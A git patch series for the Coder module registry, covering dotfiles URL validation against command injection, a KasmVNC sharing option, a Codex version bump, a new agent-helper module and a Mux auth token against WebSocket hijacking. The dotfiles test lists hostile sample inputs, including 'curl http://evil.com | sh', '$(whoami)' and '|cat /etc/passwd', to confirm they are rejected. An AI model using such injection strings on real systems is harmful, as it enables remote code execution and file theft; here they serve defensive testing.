dotfiles_uri: url, + }); + expect(state.outputs.dotfiles_uri.value).toBe(url); + } + }); + + it("rejects invalid or malicious URLs", async () => { + const invalidUrls = [ + "https://github.com/user/repo; curl http://evil.com | sh", + "https://github.com/$(whoami)/repo", + "https://github.com/`id`/repo", + "https://github.com/user/repo|cat /etc/passwd", + "file:///etc/passwd", + "not-a-valid-url", + ]; + for (const url of invalidUrls) { + await expect( + runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }), + ).rejects.toThrow(); + } }); it("set custom order for coder_parameter", async () => { diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 9dfb7240..760f4181 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -36,19 +36,40 @@ variable "default_dotfiles_uri" { type = string description = "The default dotfiles URI if the workspace user does not provide one" default = "" + + validation { + condition = ( + var.default_dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "dotfiles_uri" { type = string description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" + default = null - default = null + validation { + condition = ( + var.dotfiles_uri == null || + var.dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "user" { type = string description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" default = null + + validation { + condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user)) + error_message = "Must be a valid username without special characters." + } } variable "coder_parameter_order" { @@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" { description = var.description mutable = true icon = "/icon/dotfiles.svg" + + validation { + regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$" + error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } locals { diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index 91229589..a068aca7 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -5,6 +5,19 @@ set -euo pipefail DOTFILES_URI="${DOTFILES_URI}" DOTFILES_USER="${DOTFILES_USER}" +# Validate DOTFILES_URI to prevent command injection (defense in depth) +if [ -n "$DOTFILES_URI" ]; then + # shellcheck disable=SC2250 + if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then + echo "ERROR: DOTFILES_URI contains invalid characters" >&2 + exit 1 + fi + if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then + echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2 + exit 1 + fi +fi + # shellcheck disable=SC2157 if [ -n "$${DOTFILES_URI// }" ]; then if [ -z "$DOTFILES_USER" ]; then @@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log else - # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 - # eval echo ~coder -> "/home/coder" - # eval echo ~root -> "/root" + if command -v getent > /dev/null 2>&1; then + DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6) + else + DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd) + fi + if [ -z "$DOTFILES_USER_HOME" ]; then + echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2 + exit 1 + fi - CODER_BIN=$(which coder) - DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") - sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log" + CODER_BIN=$(command -v coder) + sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi From 04490518288690e20c80de7e09327c6ff6c6d215 Mon Sep 17 00:00:00 2001 From: Riajul Islam Date: Wed, 11 Feb 2026 13:34:37 +0600 Subject: [PATCH 23/33] feat(KasmVNC): allow share variable to be passed with default: `owner` (#709) Co-authored-by: Atif Ali --- registry/coder/modules/kasmvnc/README.md | 2 +- registry/coder/modules/kasmvnc/main.tf | 11 ++++++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/registry/coder/modules/kasmvnc/README.md b/registry/coder/modules/kasmvnc/README.md index 7fcc7fb0..2f9fff7a 100644 --- a/registry/coder/modules/kasmvnc/README.md +++ b/registry/coder/modules/kasmvnc/README.md @@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and module "kasmvnc" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kasmvnc/coder" - version = "1.2.7" + version = "1.3.0" agent_id = coder_agent.example.id desktop_environment = "xfce" subdomain = true diff --git a/registry/coder/modules/kasmvnc/main.tf b/registry/coder/modules/kasmvnc/main.tf index 4635f612..66324b37 100644 --- a/registry/coder/modules/kasmvnc/main.tf +++ b/registry/coder/modules/kasmvnc/main.tf @@ -54,6 +54,15 @@ variable "subdomain" { description = "Is subdomain sharing enabled in your cluster?" } +variable "share" { + type = string + default = "owner" + validation { + condition = var.share == "owner" || var.share == "authenticated" || var.share == "public" + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + resource "coder_script" "kasm_vnc" { agent_id = var.agent_id display_name = "KasmVNC" @@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" { url = "http://localhost:${var.port}" icon = "/icon/kasmvnc.svg" subdomain = var.subdomain - share = "owner" + share = var.share order = var.order group = var.group From a9a03b167c0c89c57660f8db83f86beb7d056e19 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Thu, 12 Feb 2026 23:21:07 +0530 Subject: [PATCH 24/33] feat(coder-labs/modules/codex): bump agentapi version to v0.11.8 in codex (#727) ## Description - bump agentapi version to v0.11.8 in codex ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder-labs/modules/codex` **New version:** `v4.1.1` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --- registry/coder-labs/modules/codex/README.md | 10 +++++----- registry/coder-labs/modules/codex/main.tf | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/registry/coder-labs/modules/codex/README.md b/registry/coder-labs/modules/codex/README.md index 1ca7c9c5..b4a895de 100644 --- a/registry/coder-labs/modules/codex/README.md +++ b/registry/coder-labs/modules/codex/README.md @@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = var.openai_api_key workdir = "/home/coder/project" @@ -32,7 +32,7 @@ module "codex" { module "codex" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" @@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id workdir = "/home/coder/project" enable_aibridge = true @@ -94,7 +94,7 @@ data "coder_task" "me" {} module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." ai_prompt = data.coder_task.me.prompt @@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" diff --git a/registry/coder-labs/modules/codex/main.tf b/registry/coder-labs/modules/codex/main.tf index 2f65df86..cc07ce2f 100644 --- a/registry/coder-labs/modules/codex/main.tf +++ b/registry/coder-labs/modules/codex/main.tf @@ -131,7 +131,7 @@ variable "install_agentapi" { variable "agentapi_version" { type = string description = "The version of AgentAPI to install." - default = "v0.11.6" + default = "v0.11.8" } variable "codex_model" { From c5ff4de9ed2935624cda5bc1ba93cc2ad4ddde18 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Fri, 13 Feb 2026 22:05:21 +0530 Subject: [PATCH 25/33] feat(coder/modules/agent-helper): add agent-helper module to help run scripts (#704) ## Description The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. ## Type of Change - [x] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/agent-helper` **New version:** `v1.0.0` **Breaking change:** [x] Yes [ ] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: https://github.com/coder/registry/issues/696 Closes: https://github.com/coder/registry/issues/698 --------- Co-authored-by: DevCats --- registry/coder/modules/agent-helper/README.md | 65 +++++ .../coder/modules/agent-helper/main.test.ts | 13 + registry/coder/modules/agent-helper/main.tf | 190 ++++++++++++ .../modules/agent-helper/main.tftest.hcl | 271 ++++++++++++++++++ 4 files changed, 539 insertions(+) create mode 100644 registry/coder/modules/agent-helper/README.md create mode 100644 registry/coder/modules/agent-helper/main.test.ts create mode 100644 registry/coder/modules/agent-helper/main.tf create mode 100644 registry/coder/modules/agent-helper/main.tftest.hcl diff --git a/registry/coder/modules/agent-helper/README.md b/registry/coder/modules/agent-helper/README.md new file mode 100644 index 00000000..62eb3573 --- /dev/null +++ b/registry/coder/modules/agent-helper/README.md @@ -0,0 +1,65 @@ +--- +display_name: Agent Helper +description: Building block for modules that need orchestrated script execution +icon: ../../../../.icons/coder.svg +verified: false +tags: [internal, library] +--- + +# Agent Helper + +> [!CAUTION] +> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution. + +The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. + +> [!NOTE] +> +> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together. + +```tf +module "agent_helper" { + source = "registry.coder.com/coder/agent-helper/coder" + version = "1.0.0" + + agent_id = coder_agent.main.id + agent_name = "myagent" + module_dir_name = ".my-module" + + pre_install_script = <<-EOT + #!/bin/bash + echo "Running pre-install tasks..." + # Your pre-install logic here + EOT + + install_script = <<-EOT + #!/bin/bash + echo "Installing dependencies..." + # Your install logic here + EOT + + post_install_script = <<-EOT + #!/bin/bash + echo "Running post-install configuration..." + # Your post-install logic here + EOT + + start_script = <<-EOT + #!/bin/bash + echo "Starting the application..." + # Your start logic here + EOT +} +``` + +## Execution Order + +The module orchestrates scripts in the following order: + +1. **Log File Creation** - Creates module directory and log files +2. **Pre-Install Script** (optional) - Runs before installation +3. **Install Script** - Main installation +4. **Post-Install Script** (optional) - Runs after installation +5. **Start Script** - Starts the application + +Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management. diff --git a/registry/coder/modules/agent-helper/main.test.ts b/registry/coder/modules/agent-helper/main.test.ts new file mode 100644 index 00000000..6c132589 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.test.ts @@ -0,0 +1,13 @@ +import { describe } from "bun:test"; +import { runTerraformInit, testRequiredVariables } from "~test"; + +describe("agent-helper", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "test-agent-id", + agent_name: "test-agent", + module_dir_name: ".test-module", + start_script: "echo 'start'", + }); +}); diff --git a/registry/coder/modules/agent-helper/main.tf b/registry/coder/modules/agent-helper/main.tf new file mode 100644 index 00000000..cfb8b778 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tf @@ -0,0 +1,190 @@ +terraform { + required_version = ">= 1.0" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + type = string + description = "The ID of a Coder agent." +} + +data "coder_workspace" "me" {} + +data "coder_workspace_owner" "me" {} + +data "coder_task" "me" {} + +variable "pre_install_script" { + type = string + description = "Custom script to run before installing the agent used by AgentAPI." + default = null +} + +variable "install_script" { + type = string + description = "Script to install the agent used by AgentAPI." + default = null +} + +variable "post_install_script" { + type = string + description = "Custom script to run after installing the agent used by AgentAPI." + default = null +} + +variable "start_script" { + type = string + description = "Script that starts AgentAPI." +} + +variable "agent_name" { + type = string + description = "The name of the agent. This is used to construct unique script names for the experiment sync." + +} + +variable "module_dir_name" { + type = string + description = "The name of the module directory." +} + +locals { + encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : "" + encoded_install_script = var.install_script != null ? base64encode(var.install_script) : "" + encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : "" + encoded_start_script = base64encode(var.start_script) + + pre_install_script_name = "${var.agent_name}-pre_install_script" + install_script_name = "${var.agent_name}-install_script" + post_install_script_name = "${var.agent_name}-post_install_script" + start_script_name = "${var.agent_name}-start_script" + + module_dir_path = "$HOME/${var.module_dir_name}" + + pre_install_path = "${local.module_dir_path}/pre_install.sh" + install_path = "${local.module_dir_path}/install.sh" + post_install_path = "${local.module_dir_path}/post_install.sh" + start_path = "${local.module_dir_path}/start.sh" + + pre_install_log_path = "${local.module_dir_path}/pre_install.log" + install_log_path = "${local.module_dir_path}/install.log" + post_install_log_path = "${local.module_dir_path}/post_install.log" + start_log_path = "${local.module_dir_path}/start.log" +} + +resource "coder_script" "pre_install_script" { + count = var.pre_install_script == null ? 0 : 1 + agent_id = var.agent_id + display_name = "Pre-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT + coder exp sync start ${local.pre_install_script_name} + + echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path} + chmod +x ${local.pre_install_path} + + ${local.pre_install_path} > ${local.pre_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "install_script" { + agent_id = var.agent_id + display_name = "Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.install_script_name}' EXIT + %{if var.pre_install_script != null~} + coder exp sync want ${local.install_script_name} ${local.pre_install_script_name} + %{endif~} + coder exp sync start ${local.install_script_name} + echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path} + chmod +x ${local.install_path} + + ${local.install_path} > ${local.install_log_path} 2>&1 + EOT +} + +resource "coder_script" "post_install_script" { + count = var.post_install_script != null ? 1 : 0 + agent_id = var.agent_id + display_name = "Post-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.post_install_script_name}' EXIT + coder exp sync want ${local.post_install_script_name} ${local.install_script_name} + coder exp sync start ${local.post_install_script_name} + + echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path} + chmod +x ${local.post_install_path} + + ${local.post_install_path} > ${local.post_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "start_script" { + agent_id = var.agent_id + display_name = "Start Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.start_script_name}' EXIT + + %{if var.post_install_script != null~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name} + %{else~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} + %{endif~} + coder exp sync start ${local.start_script_name} + + echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path} + chmod +x ${local.start_path} + + ${local.start_path} > ${local.start_log_path} 2>&1 + EOT +} + +output "pre_install_script_name" { + description = "The name of the pre-install script for sync." + value = local.pre_install_script_name +} + +output "install_script_name" { + description = "The name of the install script for sync." + value = local.install_script_name +} + +output "post_install_script_name" { + description = "The name of the post-install script for sync." + value = local.post_install_script_name +} + +output "start_script_name" { + description = "The name of the start script for sync." + value = local.start_script_name +} \ No newline at end of file diff --git a/registry/coder/modules/agent-helper/main.tftest.hcl b/registry/coder/modules/agent-helper/main.tftest.hcl new file mode 100644 index 00000000..91546fb0 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tftest.hcl @@ -0,0 +1,271 @@ +# Test for agent-helper module + +# Test with all scripts provided +run "test_with_all_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + pre_install_script = "echo 'pre-install'" + install_script = "echo 'install'" + post_install_script = "echo 'post-install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is created when provided + assert { + condition = length(coder_script.pre_install_script) == 1 + error_message = "Pre-install script should be created when pre_install_script is provided" + } + + assert { + condition = coder_script.pre_install_script[0].agent_id == "test-agent-id" + error_message = "Pre-install script agent ID should match input" + } + + assert { + condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script" + error_message = "Pre-install script should have correct display name" + } + + assert { + condition = coder_script.pre_install_script[0].run_on_start == true + error_message = "Pre-install script should run on start" + } + + # Verify install_script is created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script agent ID should match input" + } + + assert { + condition = coder_script.install_script.display_name == "Install Script" + error_message = "Install script should have correct display name" + } + + assert { + condition = coder_script.install_script.run_on_start == true + error_message = "Install script should run on start" + } + + # Verify post_install_script is created when provided + assert { + condition = length(coder_script.post_install_script) == 1 + error_message = "Post-install script should be created when post_install_script is provided" + } + + assert { + condition = coder_script.post_install_script[0].agent_id == "test-agent-id" + error_message = "Post-install script agent ID should match input" + } + + assert { + condition = coder_script.post_install_script[0].display_name == "Post-Install Script" + error_message = "Post-install script should have correct display name" + } + + assert { + condition = coder_script.post_install_script[0].run_on_start == true + error_message = "Post-install script should run on start" + } + + # Verify start_script is created + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script agent ID should match input" + } + + assert { + condition = coder_script.start_script.display_name == "Start Script" + error_message = "Start script should have correct display name" + } + + assert { + condition = coder_script.start_script.run_on_start == true + error_message = "Start script should run on start" + } + + # Verify outputs for script names + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be correctly formatted" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be correctly formatted" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with only required scripts (no pre/post install) +run "test_without_optional_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is NOT created when not provided + assert { + condition = length(coder_script.pre_install_script) == 0 + error_message = "Pre-install script should not be created when pre_install_script is null" + } + + # Verify post_install_script is NOT created when not provided + assert { + condition = length(coder_script.post_install_script) == 0 + error_message = "Post-install script should not be created when post_install_script is null" + } + + # Verify required scripts are still created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script should be created" + } + + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script should be created" + } + + # Verify outputs + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be generated even when script is not created" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be generated even when script is not created" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with mock data sources +run "test_with_mock_data" { + command = plan + + variables { + agent_id = "mock-agent" + agent_name = "mock-agent" + module_dir_name = ".mock-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Mock the data sources for testing + override_data { + target = data.coder_workspace.me + values = { + id = "test-workspace-id" + name = "test-workspace" + owner = "test-owner" + owner_id = "test-owner-id" + template_id = "test-template-id" + template_name = "test-template" + access_url = "https://coder.example.com" + start_count = 1 + transition = "start" + } + } + + override_data { + target = data.coder_workspace_owner.me + values = { + id = "test-owner-id" + email = "test@example.com" + name = "Test User" + session_token = "mock-token" + } + } + + override_data { + target = data.coder_task.me + values = { + id = "test-task-id" + } + } + + # Verify scripts are created with mocked data + assert { + condition = coder_script.install_script.agent_id == "mock-agent" + error_message = "Install script should use the mocked agent ID" + } + + assert { + condition = coder_script.start_script.agent_id == "mock-agent" + error_message = "Start script should use the mocked agent ID" + } +} + +# Test script naming with custom agent_name +run "test_script_naming" { + command = plan + + variables { + agent_id = "test-agent" + agent_name = "custom-name" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify script names are constructed correctly + # The script should contain references to custom-name-* in the sync commands + assert { + condition = can(regex("custom-name-install_script", coder_script.install_script.script)) + error_message = "Install script should use custom agent_name in sync commands" + } + + assert { + condition = can(regex("custom-name-start_script", coder_script.start_script.script)) + error_message = "Start script should use custom agent_name in sync commands" + } + + # Verify outputs use custom agent_name + assert { + condition = output.pre_install_script_name == "custom-name-pre_install_script" + error_message = "Pre-install script name output should use custom agent_name" + } + + assert { + condition = output.install_script_name == "custom-name-install_script" + error_message = "Install script name output should use custom agent_name" + } + + assert { + condition = output.post_install_script_name == "custom-name-post_install_script" + error_message = "Post-install script name output should use custom agent_name" + } + + assert { + condition = output.start_script_name == "custom-name-start_script" + error_message = "Start script name output should use custom agent_name" + } +} From 39fec7ca820ea9bb630a5316a1569081bb23065e Mon Sep 17 00:00:00 2001 From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com> Date: Sat, 14 Feb 2026 23:08:12 +0100 Subject: [PATCH 26/33] =?UTF-8?q?=F0=9F=A4=96=20feat:=20mux=20module=20?= =?UTF-8?q?=E2=80=94=20add=20per-workspace=20auth=20token=20for=20CSWSH=20?= =?UTF-8?q?protection=20(#728)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Summary Add per-workspace authentication token wiring to the Mux Coder module, closing the last-mile deployment gap for cross-site WebSocket hijacking (CSWSH) protection identified in coder/security#120. ## Background When Mux runs as a Coder workspace app, it is accessible via Coder's subdomain proxy (e.g., `mux--ws--user.apps.coder.com`). Without an auth token, a malicious same-site origin (another user's workspace app on the same `*.coder.com` domain) can hijack the WebSocket session and execute arbitrary commands via the oRPC API. The Mux application itself already implements: - **Strict same-origin enforcement** for HTTP/CORS and WebSocket upgrades (coder/mux#2418) - **Auth token support** — the server reads `MUX_SERVER_AUTH_TOKEN` or `--auth-token`, and the browser frontend extracts `?token=` from the URL and persists it to localStorage What was missing was module-level token generation and browser/backend wiring. ## Implementation - **`random_password.mux_auth_token`** generates a 64-character token per module instance. - **Backend wiring:** `run.sh` launches mux with a process-scoped `MUX_SERVER_AUTH_TOKEN` environment variable. - **Frontend wiring:** `coder_app.mux.url` includes `?token=` so first launch from Coder passes the token to the browser for bootstrap/persistence. To avoid cross-instance breakage, this change intentionally does **not** use a shared `coder_env` key. Multiple `coder/mux` module instances can target the same `agent_id` (different `slug`/`port`), and a single global env key would collide. Process-scoped env keeps each instance's backend token aligned with its app URL token. ## Validation - `terraform fmt -check -diff` in `registry/coder/modules/mux` - `terraform test` in `registry/coder/modules/mux` (8 passed, 0 failed) - Updated tests now verify the URL token value (not just prefix) and verify the launch script sets `MUX_SERVER_AUTH_TOKEN` using the generated token. --- _Generated with `mux` • Model: `anthropic:claude-opus-4-6` • Thinking: `xhigh`_ --- registry/coder/modules/mux/README.md | 14 +++--- registry/coder/modules/mux/main.tf | 25 +++++++++-- registry/coder/modules/mux/mux.tftest.hcl | 53 ++++++++++++++++++++--- registry/coder/modules/mux/run.sh | 4 +- 4 files changed, 80 insertions(+), 16 deletions(-) diff --git a/registry/coder/modules/mux/README.md b/registry/coder/modules/mux/README.md index 00a9de65..b9cfafc0 100644 --- a/registry/coder/modules/mux/README.md +++ b/registry/coder/modules/mux/README.md @@ -14,7 +14,7 @@ Automatically install and run [Mux](https://github.com/coder/mux) in a Coder wor module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id } ``` @@ -37,7 +37,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id } ``` @@ -48,7 +48,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id # Default is "latest"; set to a specific version to pin install_version = "0.4.0" @@ -63,7 +63,7 @@ Start Mux with `mux server --add-project /path/to/project`: module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id add-project = "/path/to/project" } @@ -75,7 +75,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id port = 8080 } @@ -89,7 +89,7 @@ Run an existing copy of Mux if found, otherwise install from npm: module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id use_cached = true } @@ -103,7 +103,7 @@ Run without installing from the network (requires Mux to be pre-installed): module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id install = false } diff --git a/registry/coder/modules/mux/main.tf b/registry/coder/modules/mux/main.tf index 870beae2..1eeddecf 100644 --- a/registry/coder/modules/mux/main.tf +++ b/registry/coder/modules/mux/main.tf @@ -7,6 +7,10 @@ terraform { source = "coder/coder" version = ">= 2.5" } + random = { + source = "hashicorp/random" + version = ">= 3.0" + } } } @@ -113,6 +117,22 @@ variable "open_in" { } } +# Per-module auth token for cross-site request protection. +# We pass this token into each mux process at launch time (process-scoped env) +# and include it in the app URL query string (?token=...). +# +# Why process-scoped env instead of a shared coder_env value: +# multiple mux module instances can target the same agent (different slug/port). +# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions. +resource "random_password" "mux_auth_token" { + length = 64 + special = false +} + +locals { + mux_auth_token = random_password.mux_auth_token.result +} + resource "coder_script" "mux" { agent_id = var.agent_id display_name = var.display_name @@ -125,6 +145,7 @@ resource "coder_script" "mux" { INSTALL_PREFIX : var.install_prefix, OFFLINE : !var.install, USE_CACHED : var.use_cached, + AUTH_TOKEN : local.mux_auth_token, }) run_on_start = true @@ -140,7 +161,7 @@ resource "coder_app" "mux" { agent_id = var.agent_id slug = var.slug display_name = var.display_name - url = "http://localhost:${var.port}" + url = "http://localhost:${var.port}?token=${local.mux_auth_token}" icon = "/icon/mux.svg" subdomain = var.subdomain share = var.share @@ -154,5 +175,3 @@ resource "coder_app" "mux" { threshold = 6 } } - - diff --git a/registry/coder/modules/mux/mux.tftest.hcl b/registry/coder/modules/mux/mux.tftest.hcl index c403d377..af103ae2 100644 --- a/registry/coder/modules/mux/mux.tftest.hcl +++ b/registry/coder/modules/mux/mux.tftest.hcl @@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" { ] } +# Needs command = apply because the URL contains random_password.result, +# which is unknown during plan. run "custom_port" { - command = plan + command = apply variables { agent_id = "foo" @@ -29,8 +31,51 @@ run "custom_port" { } assert { - condition = resource.coder_app.mux.url == "http://localhost:8080" - error_message = "coder_app URL must use the configured port" + condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=") + error_message = "coder_app URL must use the configured port and include auth token" + } + + assert { + condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result + error_message = "URL token must match the generated auth token" + } +} + +# Needs command = apply because random_password.result is unknown during plan. +run "auth_token_in_server_script" { + command = apply + + variables { + agent_id = "foo" + } + + assert { + condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=") + error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN" + } + + assert { + condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result) + error_message = "mux launch script must use the generated auth token" + } +} + +# Needs command = apply because random_password.result is unknown during plan. +run "auth_token_in_url" { + command = apply + + variables { + agent_id = "foo" + } + + assert { + condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=") + error_message = "coder_app URL must include auth token query parameter" + } + + assert { + condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result + error_message = "URL token must match the generated auth token" } } @@ -62,5 +107,3 @@ run "use_cached_only_success" { 